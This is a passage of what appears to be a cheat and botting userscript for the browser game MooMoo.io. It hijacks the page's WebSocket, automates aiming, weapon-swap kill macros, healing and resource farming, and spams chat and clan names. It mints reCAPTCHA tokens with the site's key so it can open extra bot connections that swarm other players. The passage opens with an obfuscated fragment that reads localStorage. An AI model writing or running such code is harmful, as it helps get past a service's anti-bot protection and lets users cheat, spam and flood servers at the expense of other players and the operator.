+i[_0x30d1a0(0x2f4,0x317,0x309,0x327)+_0x4cc6e4(0x42f,0x46c,0x461,0x434)]
['localStora'+'ge'][_0x4cc6e4(0x489,0x451,0x460,0x45d)]['replace'](/^"(.*)"$/,'$1')
+_0x30d1a0(0x2cd,0x33b,0x307,0x308),'username':_0x4cc6e4(0x473,0x48d,0x47d,0x4ae)
+'er'}));}
var pingy = true;
var turReloaded = true;
let invisProjectile = true;
let antiInvisProjectile = true;
var PriReloaded = true;
let hit360 = false;
var buildhp = true;
var SecReloaded = true;
var clowntimer = false;
var clowncounter = true;
var PrimaryReload = false;
var SecondaryReload = false;
var drug = false;
var pingwhy = false;
var ping = document.getElementById("pingDisplay");
ping.replaceWith(document.createElement("e"));
ping.style.fontSize = "12px";
ping.style.color = "#fff";
ping.style.top = "3px";
ping.style.display = "block";
ping.style.zIndex = "999";
document.body.appendChild(ping);
let hue = 0,
changeHue = () => hue += Math.random() * 2;
setInterval(changeHue);
window = unsafeWindow;
setInterval(() => {
var tdsfdsfdsfext = document.getElementById("loadingText").innerText;
if (tdsfdsfdsfext == "disconnected\nreload") {
window.onbeforeunload = null;
document.body.remove();
window.location.href = window.location.href;
}
}, 0);
var old = Date.now();
setInterval(() => {
if(!old || Date.now() - old >= 0.1){
if(window.pingTime >= 11) {
for(let i = 0; i<5;i++){
window.pingTime--;
}
}
old = Date.now();
}
});
setInterval(() => {
var gfdfgdfg = document.getElementById("loadingText").innerText;
if (gfdfgdfg == "Invalid Connection\nreload") {
window.onbeforeunload = null;
document.body.remove();
window.location.href = window.location.href;
}
}, 0);
window.devicePixelRatio = 0.8
$('#subConfirmationElement').click(() => {
try {
window.follmoo();
} catch (e) {};
localStorage["moofoll"] = "1";
localStorage["moofol"] = "1";
});
if (localStorage.getItem('moofoll') !== 1) localStorage.setItem('moofoll', 1);
setInterval(() => window.follmoo && follmoo(), 10);
setInterval(function() {
//more fps
window.location.native_resolution = true;
}, 1000)
setTimeout(() => {
document.getElementById('pre-content-container').remove()
}, 2000)
setInterval(() => {
if(nearestEnemy[9] != "6" && nearestEnemy[9] != "22") {
iH = 6;
}
});
setInterval(() => {
if(nearestEnemy[9] == "6" || nearestEnemy[9] == "22") {
iH = 7;
}
});
setInterval(() => {
if(autoqidk == true) {
place(foodType, null);
place(foodType, null);
place(foodType, null);
place(foodType, null);
}
},0);
setInterval( () => {
if (can_ab == true && autosecondary == false && insta == false && gona == false &&
ab == true && hit == false && lmao == false && intrap === true &&
Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) + Math.pow ((myPlayer.x -
TrapCoord.x), 2)) < 50) {
if (secondary!= 10) {
if (PriReloaded) {
if(autosecondary == false && insta == false && gona == false) {
can_R = false;
doNewSend(["2", [trap_a]]);
doNewSend(["c", [1, trap_a]]);
doNewSend(["13c", [1, 40, 0]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 40, 0]]);
doNewSend(["13c", [0, 21, 1]]);
doNewSend(["2", [trap_a]]);
doNewSend(["c", [1, trap_a]]);
}
} else {
if(autosecondary == false && insta == false && gona == false) {
can_R = true;
can_R = true;
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 6, 0]]);
doNewSend(["13c", [0, 21, 1]])
}
}
if(autosecondary == false && insta == false && gona == false) {
doNewSend(["5", [primary, true]]);
}
} else {
if (SecReloaded) {
if(autosecondary == false && insta == false && gona == false) {
can_R = false;
doNewSend(["2", [trap_a]]);
doNewSend(["c", [1, trap_a]]);
doNewSend(["13c", [1, 40, 0]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 40, 0]]);
doNewSend(["13c", [0, 11, 1]]);
doNewSend(["2", [trap_a]]);
doNewSend(["c", [1, trap_a]]);
}
} else {
if(autosecondary == false && insta == false && gona == false) {
can_R = true;
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 6, 0]]);
doNewSend(["13c", [0, 11, 1]]);
}
}
if(autosecondary == false && insta == false && gona == false) {
doNewSend(["5", [secondary, true]]);
if(twohit == true) {
setTimeout(() => {
doNewSend(["5", [primary, true]]);
}, 305);
}
}
}
trap_a = Math.atan2(TrapCoord.y - myPlayer.y, TrapCoord.x - myPlayer.x);
}
});
setInterval( () => {
if (autosecondary == false && insta == false && hit === true && gona == false) {
if (PriReloaded) {
if(autosecondary == false && insta == false && gona == false) {
can_R = false;
doNewSend(["13c", [1, 7, 0]]);
doNewSend(["13c", [0, 7, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 21, 1]]);
}
} else {
if(autosecondary == false && insta == false && gona == false) {
can_R = true;
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
if(myPlayer.y < 2400){
doNewSend(["13c", [1, 15, 0]]);
doNewSend(["13c", [0, 15, 0]]);
} else if(myPlayer.y > 6850 && myPlayer.y < 7550){
doNewSend(["13c", [1, 31, 0]]);
doNewSend(["13c", [0, 31, 0]]);
} else if(isEnemyNear == true){
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
} else {
doNewSend(["13c", [1, 12, 0]]);
doNewSend(["13c", [0, 12, 0]]);
}
}
}
if(autosecondary == false && insta == false && gona == false) {
doNewSend(["5", [primary, true]]);
doNewSend(['c', [1]]);
doNewSend(['c', [0]]);
}
}
});
setInterval( () => {
if (autosecondary == false && insta == false && gona == false && lmao === true) {
if (secondary!= 10) {
if (PriReloaded) {
if(autosecondary == false && insta == false && gona == false) {
can_R = false;
doNewSend(['c', [1]]);
doNewSend(['c', [0]]);
doNewSend(["13c", [1, 40, 0]]);
doNewSend(["13c", [0, 40, 0]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 21, 1]]);
doNewSend(['c', [1]]);
doNewSend(['c', [0]]);
}
} else {
if(autosecondary == false && insta == false && gona == false) {
can_R = true;
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
if(myPlayer.y < 2400){
doNewSend(["13c", [1, 15, 0]]);
doNewSend(["13c", [0, 15, 0]]);
} else if(myPlayer.y > 6850 && myPlayer.y < 7550){
doNewSend(["13c", [1, 31, 0]]);
doNewSend(["13c", [0, 31, 0]]);
} else if(isEnemyNear == true){
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
} else {
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 6, 0]]);
doNewSend(["13c", [0, 11, 1]]);
}
}
}
if(autosecondary == false && insta == false && gona == false) {
doNewSend(["5", [primary, true]]);
}
} else {
if (SecReloaded) {
if(autosecondary == false && insta == false && gona == false) {
can_R = false;
doNewSend(['c', [1]]);
doNewSend(['c', [0]]);
doNewSend(["13c", [1, 40, 0]]);
doNewSend(["13c", [0, 40, 0]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
doNewSend(['c', [1]]);
doNewSend(['c', [0]]);
}
} else {
if(autosecondary == false && insta == false && gona == false) {
can_R = true;
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
if(myPlayer.y < 2400){
doNewSend(["13c", [1, 15, 0]]);
doNewSend(["13c", [0, 15, 0]]);
} else if(myPlayer.y > 6850 && myPlayer.y < 7550){
doNewSend(["13c", [1, 31, 0]]);
doNewSend(["13c", [0, 31, 0]]);
} else if(isEnemyNear == true){
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
} else {
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 6, 0]]);
doNewSend(["13c", [0, 11, 1]]);
}
}
}
if(autosecondary == false && insta == false && gona == false) {
doNewSend(["5", [secondary, true]]);
}
}
doNewSend(['c', [1]]);
doNewSend(['c', [0]]);
}
});
setInterval(() => {
if (nearestEnemy[9] == 45 && gaydierunner) {
setTimeout(() => {
doNewSend(["13c", [1, 53, 0]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 53, 0]]);
doNewSend(["13c", [0, 21, 1]]);
}, 50);
setTimeout(() => {
if (myPlayer.y < 2400) {
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
doNewSend(["13c", [1, 15, 0]]);
doNewSend(["13c", [0, 15, 0]]);
} else if (myPlayer.y > 6850 && myPlayer.y < 7550) {
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [1, 31, 0]]);
doNewSend(["13c", [0, 11, 1]]);
doNewSend(["13c", [0, 31, 0]]);
} else if (isEnemyNear == true) {
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 21, 1]]);
doNewSend(["13c", [0, 6, 0]]);
} else {
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 6, 0]]);
doNewSend(["13c", [0, 11, 1]]);
}}, 200)}}, 2500);
setInterval(() => {
if (nearestEnemy[9] == 56 && scarehideturret) {
setTimeout(() => {
doNewSend(["13c", [1, 53, 0]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 53, 0]]);
doNewSend(["13c", [0, 21, 1]]);
}, 50);
setTimeout(() => {
if (myPlayer.y < 2400) {
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
doNewSend(["13c", [1, 15, 0]]);
doNewSend(["13c", [0, 15, 0]]);
} else if (myPlayer.y > 6850 && myPlayer.y < 7550) {
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [1, 31, 0]]);
doNewSend(["13c", [0, 11, 1]]);
doNewSend(["13c", [0, 31, 0]]);
} else if (isEnemyNear == true) {
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 21, 1]]);
doNewSend(["13c", [0, 6, 0]]);
} else {
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 6, 0]]);
doNewSend(["13c", [0, 11, 1]]);
}}, 200)}}, 2500);
let mouseX;let mouseY;let width;let height;
setInterval(() => {
if(left == false) {
hit = false;
}
});
setInterval(() => {
if(right == false) {
lmao = false;
}
});
setInterval(() => {
if (allgayhat == true) {
setTimeout(() => {
doNewSend(["13c", [1, 51, 0]]);
doNewSend(["13c", [0, 51, 0]]);
}, 120)
setTimeout(() => {
doNewSend(["13c", [1, 50, 0]]);
doNewSend(["13c", [0, 50, 0]]);
}, 240)
setTimeout(() => {
doNewSend(["13c", [1, 28, 0]]);
doNewSend(["13c", [0, 28, 0]]);
}, 360)
setTimeout(() => {
doNewSend(["13c", [1, 30, 0]]);
doNewSend(["13c", [0, 30, 0]]);
}, 480)
setTimeout(() => {
doNewSend(["13c", [1, 36, 0]]);
doNewSend(["13c", [0, 36, 0]]);
}, 600)
setTimeout(() => {
doNewSend(["13c", [1, 37, 0]]);
doNewSend(["13c", [0, 37, 0]]);
}, 720)
setTimeout(() => {
doNewSend(["13c", [1, 38, 0]]);
doNewSend(["13c", [0, 38, 0]]);
}, 840)
setTimeout(() => {
doNewSend(["13c", [1, 44, 0]]);
doNewSend(["13c", [0, 44, 0]]);
}, 960)
setTimeout(() => {
doNewSend(["13c", [1, 35, 0]]);
doNewSend(["13c", [0, 35, 0]]);
}, 1080)
setTimeout(() => {
doNewSend(["13c", [1, 42, 0]]);
doNewSend(["13c", [0, 42, 0]]);
}, 1200)
setTimeout(() => {
doNewSend(["13c", [1, 43, 0]]);
doNewSend(["13c", [0, 43, 0]]);
}, 1320)
setTimeout(() => {
doNewSend(["13c", [1, 49, 0]]);
doNewSend(["13c", [0, 49, 0]]);
}, 1440)
setTimeout(() => {
doNewSend(["13c", [1, 8, 0]]);
doNewSend(["13c", [0, 8, 0]]);
}, 1560)
setTimeout(() => {
doNewSend(["13c", [1, 57, 0]]);
doNewSend(["13c", [0, 57, 0]]);
}, 1680)
setTimeout(() => {
doNewSend(["13c", [1, 2, 0]]);
doNewSend(["13c", [0, 2, 0]]);
}, 1800)
}
}, 2000)
setInterval(() => {
if(autoaim == true) {
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
}
});
setInterval(() => {
if (autoprimary == true) {
doNewSend(["5", [primary, true]]);
doNewSend(["5", [primary, true]]);
doNewSend(["5", [primary, true]]);
doNewSend(["5", [primary, true]]);
}
});
setInterval(() => {
if(xdchatgen == true) {
chatgen = generator();
doNewSend(["ch", [chatgen]]);
}
});
setInterval(() => {
if(xdclangen == true) {
doNewSend(["9", [null]]);
doNewSend(["8", [generator()]]);
}
}, 250);
setInterval(() => {
if (woodS == true) {
doNewSend(["c", [1, nearestTreeAngle]]);
doNewSend(["33", [nearestTreeAngle]]);
}
});
setInterval(() => {
if (foodS == true) {
doNewSend(["c", [1, nearestFoodAngle]]);
doNewSend(["33", [nearestFoodAngle]]);
}
});
setInterval(() => {
if (Golds == true) {
doNewSend(["c", [1, nearestGoldAngle]]);
doNewSend(["33", [nearestGoldAngle]]);
}
});
setInterval(() => {
if (stoneS == true) {
doNewSend(["c", [1, nearestStoneAngle]]);
doNewSend(["33", [nearestStoneAngle]]);
}
});
setInterval(() => {
if (autosecondary == true) {
doNewSend(["5", [secondary, true]]);
doNewSend(["5", [secondary, true]]);
doNewSend(["5", [secondary, true]]);
doNewSend(["5", [secondary, true]]);
}
});
setInterval(() => {
if(bulll == true) {
doNewSend(["13c", [1, 7, 0]]);
doNewSend(["13c", [0, 7, 0]]);
doNewSend(["13c", [1, 13, 1]]);
doNewSend(["13c", [0, 13, 1]]);
}
}, 10);
setInterval(() => {
if(hatToggle == 1) {
if(oldHat != normalHat) {
hat(normalHat);
console.log("Tried. - Hat")
}
if(oldAcc != normalAcc) {
acc(normalAcc);
console.log("Tried. - Acc")
}
oldHat = normalHat;
oldAcc = normalAcc
}
}, 25);
setInterval(() => {
if(spin < 360) {
spin = spin + 1
}
if(spin == 360) {
spin = 0
}
});
setInterval(() => {
if(spin < 360) {
spin = spin + 1
}
if(spin == 360) {
spin = 0
}
});
function normal() {
hat(normalHat);
acc(normalAcc);
}
function aim(x, y){
var cvs = document.getElementById("gameCanvas");
cvs.dispatchEvent(new MouseEvent("mousemove", {
clientX: x,
clientY: y
}));
}
let coreURL = new URL(window.location.href);
window.sessionStorage.force = coreURL.searchParams.get("fc");
var nearestEnemy;
var nearestEnemyAngle;
var isEnemyNear;
var Smartonetick = false;
var instaSpeed = 230;
var can_R = true;
var onetick = false;
var bowinsta = true;
var primary;
var autoprimary = false;
var autosecondary = false;
var secondary;
var foodType;
var gaydierunner = true;
var AntiInsta = true;
var wallType;
var xdchatgen = true;
var spikeType;
var whatisthis = false;
var bulll = false;
var xdclangen = false;
var canAnti = true;
var millType;
var TrapAimbutok = false;
var perfectreveseinsta = false;
var autoqidk = false;
var Spaceinsta = true;
var syncchatok = false;
var sync = true;
var autoreplace = true;
var left = false;
var can_ab = true;
var right = false;
var insta = false;
var anbi = false;
var gona = false;
var normalplacer = true;
var invisplacer = false;
var Normalinsta = true;
var TwoNormalinsta = false;
var Pussyantibullalso = true;
var autoInsta = false;
var ab = true;
var XD = true;
var hit = false;
var twohit = false;
var lmao = false;
var arspawn = false;
var test = false;
var spin = 0;
var mineType;
var boostType;
var turretType;
var spawnpadType;
var autoaim = false;
var tick = 1;
var rickroll = false;
var um = 0;
var oldHat;
var oldAcc;
var enemiesNear;
var normalHat;
var normalAcc;
var empanti = false;
var antibullspam = true;
var stoneS = false;
var foodS = false;
var allgayhat = false;
var Golds = false;
var woodS = false;
var ws;
var emphatq = true;
var autoq = true;
var msgpack5 = msgpack;
var boostDir;
var scarehideturret = true;
let myPlayer = {
id: null,
x: null,
y: null,
dir: null,
object: null,
weapon: null,
clan: null,
isLeader: null,
hat: null,
accessory: null,
isSkull: null
};
let botType = 1;
let ac = 0;
let X = 0;
let Y = 0;
let autospin = false;
let trapid = null;
let trap_a = null;
let iH = 7;
let intrap = false;
let millToggle = 0;
let BothealSpeed = 60;
let EnemyBothealSpeed = 70;
let healSpeed = 117.5;
let policehat = 1;
let allfreehattype = 0;
let healToggle = 1;
let hatToggle = 0;
let wooding;
let stoning;
let fooding;
let mining;
let trees = [];
let stones = [];
let foods = [];
let mines = [];
let nearestTree;
let nearestStone;
let nearestFood;
let nearestMine;
let nearestGold;
let nearestTreeAngle;
let nearestStoneAngle;
let nearestFoodAngle;
let nearestGoldAngle;
let nearestMineAngle;
let TrapCoord = {
x: null,
y: null
}
var enemy = {
x: null,
y: null
};
document.msgpack = msgpack;
function n(){
this.buffer = new Uint8Array([0]);
this.buffer.__proto__ = new Uint8Array;
this.type = 0;
}
const CanvasAPI = document.getElementById("gameCanvas")
CanvasAPI.addEventListener("mousedown", buttonPressD, false);
function buttonPressD(e) {
if(e.button == 0){
doNewSend(["7", [1]]);
autoaim = true;
doNewSend(["5", [primary, true]]);
doNewSend(["13c", [1, 7, 0]]);
doNewSend(["13c", [0, 7, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [0, 21, 1]]);
setTimeout( () => {
doNewSend(["7", [1]]);
autoaim = false;
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 6, 0]]);
doNewSend(["13c", [0, 21, 1]]);
}, 120);
}
if(e.button == 1){
doNewSend(["13c", [1, 7, 0]]);
doNewSend(["13c", [0, 7, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 21, 1]]);
setTimeout( () => {
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 21, 1]]);
}, 1300);
}
if (e.button == 2) {
if (intrap == false) {
doNewSend(["13c", [1, 40, 0]]);
doNewSend(["13c", [0, 40, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 21, 1]]);
doNewSend(["7", [1]]);
setTimeout( () => {
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
doNewSend(["7", [1]]);
if (myPlayer.y < 2400){
doNewSend(["13c", [1, 15, 0]]);
doNewSend(["13c", [0, 15, 0]]);
} else if (myPlayer.y > 6850 && myPlayer.y < 7550){
doNewSend(["13c", [1, 31, 0]]);
doNewSend(["13c", [0, 31, 0]]);
} else {
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
}
}, 120);
}
if (intrap == true) {
doNewSend(["13c", [1, 40, 0]]);
doNewSend(["13c", [0, 40, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 21, 1]]);
doNewSend(["7", [1]]);
setTimeout( () => {
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 21, 1]]);
doNewSend(["7", [1]]);
}, 100);
}
}
}
WebSocket.prototype.oldSend = WebSocket.prototype.send;
WebSocket.prototype.send = function(m){
if (!ws){
document.ws = this;
ws = this;
socketFound(this);
}
this.oldSend(m);
};
function socketFound(socket){
socket.addEventListener('message', function(message){
handleMessage(message);
});
}
function handleMessage(m){
let temp = msgpack5.decode(new Uint8Array(m.data));
let data;
if(temp.length > 1) {
data = [temp[0], ...temp[1]];
if (data[1] instanceof Array){
data = data;
}
} else {
data = temp;
}
let item = data[0];
if(!data) {return};
if(item === "io-init") {
let cvs = document.getElementById("gameCanvas");
width = cvs.clientWidth;
height = cvs.clientHeight;
$(window).resize(function() {
width = cvs.clientWidth;
height = cvs.clientHeight;
});
cvs.addEventListener("mousemove", e => {
mouseX = e.clientX;
mouseY = e.clientY;
});
}
if (item == "1" && myPlayer.id == null){
myPlayer.id = data[1];
}
var pack = ["Y2g=", "aSBhbSBzdXBlciBwcm8="];
pack = [atob(pack[0]), [atob(pack[1])]];
botthings = generator();
var bots = {
"name": (botType == 0) ? botthings : botthings,
"clan": (botType == 0) ? botthings : botthings,
"chat": (botType == 0) ? botthings : botthings,
"skin": (botType == 0) ? Math.floor(Math.random() * 10) : Math.floor(Math.random()
* 10)
}
/*
var enemybots = {
"name": (botType == 1) ? "Anti_bot" : "Anti_bot",
"clan": (botType == 1) ? "die" : "die",
"chat": (botType == 1) ? "die" : "die",
"skin": (botType == 1) ? 5 : 5
}*/
function genRand(string) {
let tm = string.split("");
tm = tm.map(e => {return Math.random() > 0.7 ? (
Math.random() > 0.5 ? "_" : "~"
) : e });
return tm.join("");
};
const code = '6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ';
const generateToken = () => unsafeWindow.grecaptcha.execute(code, { action :
'homepage' });
let botcount = 3; const wait = async ms => new Promise(done => setTimeout(done,
ms));
const connectBot = code => {
let token = encodeURIComponent(code);
let botws = new WebSocket(document.ws.url.split("&")[0] + "&token=" + token);
botws.binaryType = 'arraybuffer';
botws.emit = (data) => botws.send(msgpack.encode(data));
botws.heal = () => {
botws.emit(["5", [botws.foodType, null]]);
botws.emit(["c", [1]]);
botws.emit(["c", [0]]);
botws.emit(["5", [botws.weapon, true]]);
}
function botacc(id) {
botws.emit(["13c", [1, id, 1]]);
botws.emit(["13c", [0, 0, 1]]);
botws.emit(["13c", [0, id, 1]]);
}
function bothat(id) {
botws.emit(["13c", [1, id, 0]]);
botws.emit(["13c", [0, id, 0]]);
}
botws.onopen = async () => {
console.log('WS OPENED!');
await wait(100);
}
botws.onclose = () => {
console.log('WS CLOSED :(');
}
botws.onerror = () => {
console.log('WS ERROR :(');
}
setInterval(() => {
if (allfreehattype == 1) {
setTimeout(() => {
botws.emit(["13c", [1, 51, 0]]);
botws.emit(["13c", [0, 51, 0]]);
}, 120)
setTimeout(() => {
botws.emit(["13c", [1, 50, 0]]);
botws.emit(["13c", [0, 50, 0]]);
}, 240)
setTimeout(() => {
botws.emit(["13c", [1, 28, 0]]);
botws.emit(["13c", [0, 28, 0]]);
}, 360)
setTimeout(() => {
botws.emit(["13c", [1, 30, 0]]);
botws.emit(["13c", [0, 30, 0]]);
}, 480)
setTimeout(() => {
botws.emit(["13c", [1, 36, 0]]);
botws.emit(["13c", [0, 36, 0]]);
}, 600)
setTimeout(() => {
botws.emit(["13c", [1, 37, 0]]);
botws.emit(["13c", [0, 37, 0]]);
}, 720)
setTimeout(() => {
botws.emit(["13c", [1, 38, 0]]);
botws.emit(["13c", [0, 38, 0]]);
}, 840)
setTimeout(() => {
botws.emit(["13c", [1, 44, 0]]);
botws.emit(["13c", [0, 44, 0]]);
}, 960)
setTimeout(() => {
botws.emit(["13c", [1, 35, 0]]);
botws.emit(["13c", [0, 35, 0]]);
}, 1080)
setTimeout(() => {
botws.emit(["13c", [1, 42, 0]]);
botws.emit(["13c", [0, 42, 0]]);
}, 1200)
setTimeout(() => {
botws.emit(["13c", [1, 43, 0]]);
botws.emit(["13c", [0, 43, 0]]);
}, 1320)
setTimeout(() => {
botws.emit(["13c", [1, 49, 0]]);
botws.emit(["13c", [0, 49, 0]]);
}, 1440)
setTimeout(() => {
botws.emit(["13c", [1, 8, 0]]);
botws.emit(["13c", [0, 8, 0]]);
}, 1560)
setTimeout(() => {
botws.emit(["13c", [1, 57, 0]]);
botws.emit(["13c", [0, 57, 0]]);
}, 1680)
setTimeout(() => {
botws.emit(["13c", [1, 2, 0]]);
botws.emit(["13c", [0, 2, 0]]);
}, 1800)
}
}, 2000)
setInterval(() => {
if (policehat == 1) {
setTimeout(() => {
botws.emit(["13c", [1, 8, 0]]);
botws.emit(["13c", [0, 8, 0]]);
}, 120)
setTimeout(() => {
botws.emit(["13c", [1, 15, 0]]);
botws.emit(["13c", [0, 15, 0]]);
}, 240)
}
}, 480)
setInterval(() => {
setTimeout(() => {
botws.emit(["6", [7]]);
}, 120)
setTimeout(() => {
botws.emit(["6", [3]]);
}, 150)
}, 310)
botws.nearesteEnemy = [];
botws.enemiesNear = [];
botws.nearestEnemyAngle = [];
botws.secondary = null;
botws.primary = 0;
botws.foodType = 0;
botws.wallType = 3;
botws.spikeType = 6;
botws.millType = 10;
botws.boostType = null;
botws.mineType = null;
botws.turretType = null;
botws.spawnpadType = null;
botws.onmessage = message => {
let temp = msgpack.decode(new Uint8Array(message.data));
let data;
if (temp.length > 1) {
data = [temp[0], ...temp[1]];
if (data[1] instanceof Array) {
data = data;
}
} else {
data = temp;
}
let item = data[0];
let packet = data;
if (!data) {return};
switch (item) {
case "io-init":
botws.emit(['sp', [{name: bots.name, moofoll: 1, skin: bots.skin}]]);
botws.emit(["8", [bots.clan]]);
botws.emit(["10", [bots.clan]]);
setInterval(() => {
botws.emit([pack[0], [(botType == 0) ? genRand(bots.chat) : bots.chat]]);
}, (botType == 0) ? 600 : 5000);
break;
case "11":
botws.emit(["sp", [{name: bots.name,moofoll: 1,skin: bots.skin}]]);
botws.secondary = null;
botws.primary = 0;
botws.foodType = 0;
botws.wallType = 3;
botws.spikeType = 6;
botws.millType = 10;
botws.boostType = null;
botws.mineType = null;
botws.turretType = null;
botws.spawnpadType = null;
break;
case "1":
ws.id == null && (botws.id = packet[1]);
break;
case "33":
botws.enemiesNear = [];
for(let i = 0; i < packet[1].length / 13; i++) {
let playerInfo = packet[1].slice(13*i, 13*i+13);
if (playerInfo[0] == botws.id) {
botws.id = playerInfo[0];
botws.x = playerInfo[1];
botws.y = playerInfo[2];
botws.dir = playerInfo[3];
botws.object = playerInfo[4];
botws.weapon = playerInfo[5];
botws.clan = playerInfo[7];
botws.isLeader = playerInfo[8];
botws.hat = playerInfo[9];
botws.accessory = playerInfo[10];
botws.isSkull = playerInfo[11];
botws.name = playerInfo[12];
} else if (playerInfo[7] != botws.clan || playerInfo[7] === null) {
botws.enemiesNear.push(playerInfo);
}
}
if (botws.enemiesNear) {
botws.nearestEnemy = botws.enemiesNear.sort((a, b) => distance_1(a, botws) -
distance_1(b, botws))[0];
}
if(botws.nearestEnemy) {
botws.nearestEnemyAngle = Math.atan2(botws.nearestEnemy[2] - botws.y,
botws.nearestEnemy[1] - botws.x);
} else botws.nearestEnemyAngle = Math.atan2((myPlayer.y - botws.y), (myPlayer.x -
botws.x));
if(botType == 0) {
var follow = Math.atan2((myPlayer.y - botws.y), (myPlayer.x - botws.x));
if (distance_3(botws, myPlayer) > 300) {
botws.emit([33, [follow]]);
botws.emit([2, [follow]]);
botws.emit(["c", [1, 90 ** 100]]);
} else {
botws.emit([33, [null]]);
botws.emit([2, [null]]);
botws.emit(["c", [0, follow]]);
}
} else {
botws.emit(["11", ["Zombies"]]);
botws.emit(["ch", [botthings]]);
botws.emit([33, [botws.nearestEnemyAngle]]);
botws.emit([2, [botws.nearestEnemyAngle]]);
botws.emit(["c", [1, botws.nearestEnemyAngle]]);
}
break;
case "h":
if(data[1] == botws.id) {
if(botType == 1) {
setTimeout(() => {
botws.heal();
botws.heal();
botws.heal();
botws.heal();
botws.heal();
}, EnemyBothealSpeed - window.pingTime);
} else {
if(distance_1(botws, myPlayer) > 300) {
setTimeout(() => {
botws.heal();
botws.heal();
botws.heal();
botws.heal();
botws.heal();
}, BothealSpeed - window.pingTime);
}
if(botType == 2) {
if(distance_1(botws, myPlayer) > 0) {
setTimeout(() => {
botws.heal();
botws.heal();
botws.heal();
botws.heal();
botws.heal();
}, BothealSpeed - window.pingTime);
}
}
}
}
break;
}
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/ab") {
if (ab == false) {
console.log("Successfully Done it On");
console.log("Successfully Done it On");
ab = true;
setTimeout(() => {
}, 500)
} else {
ab = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
doNewSend(["c", [0, null]]);
setTimeout(() => {
}, 500)
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/ta") {
if (TrapAimbutok == false) {
console.log("Successfully Done it On");
